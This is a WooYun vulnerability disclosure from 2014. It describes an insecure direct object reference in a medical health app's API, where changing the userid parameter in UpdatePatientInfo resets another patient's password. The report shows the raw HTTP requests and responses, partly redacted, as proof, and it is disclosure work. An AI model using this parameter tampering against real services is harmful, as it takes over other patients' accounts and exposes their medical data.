当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077624

漏洞标题:某医联健康APP可以随意修改其他帐号的密码

相关厂商:医联云健康

漏洞作者: lucky_fn

提交时间:2014-09-28 15:17

修复时间:2014-11-12 15:18

公开时间:2014-11-12 15:18

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

可以随意修改其他帐号的密码

详细说明:

帐号A登录
帐号A:156...省略...6
userid:2...省略...8

GET /BSoftNew.svc/Login?username=156...省略...6&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=p...省略...5&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"1.0,2,1,05...省略..."password":"p...省略...5","userid":"2...省略...8","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}


Screenshot_2014-09-22-14-32-54.png


Screenshot_2014-09-22-14-33-04.png


帐号A在修改密码的时候把userid改成帐号B的userid(2...省略...5)
密码改成wooyun

抓包修改前
GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...8&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer...省略...
抓包修改前
GET /BSoftNew.svc/UpdatePatientInfo?token=...省略...&personid=9...省略...2&userid=2...省略...5&DevID=8...省略...0&OS=2&isUpdateUserInfo=true&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"958319","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"UpdatePatientInfo","errreason":"","requestseq":"0"}}

漏洞证明:

帐号B(56...省略...7)登录:密码为:wooyun,userid:2...省略...5

GET /BSoftNew.svc/Login?username=156...省略...7&DevID=8...省略...0&OS=2&logintype=2&DevType=GT-I9128E&ClientVer=1.2.2&password=wooyun&DevVer=4.2.2 HTTP/1.1
Host: ylyjk.taivex.org:81
...省略...
HTTP/1.1 200 OK
...省略...
{"code":"0","data":{"token":"...省略...realname":"156...省略...7","logo":"","sex":"","sign":"156...省略...7","cardnumber":"","birthday":"","header":"","medicalcard":"","outpatientcard":"","patientid":"9...省略...9","username":"156...省略...7","orgcode":"0...省略...8","password":"wooyun","userid":"2...省略...5","appmodule":""},"header":{"action":"Login","errreason":"","requestseq":"0","servercurticks":"1...省略...9"}}


Screenshot_2014-09-22-14-41-38.png


Screenshot_2014-09-22-14-41-47.png

修复方案:

其他的不说,至少要对userid进行验证。。

版权声明:转载请注明来源 lucky_fn@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝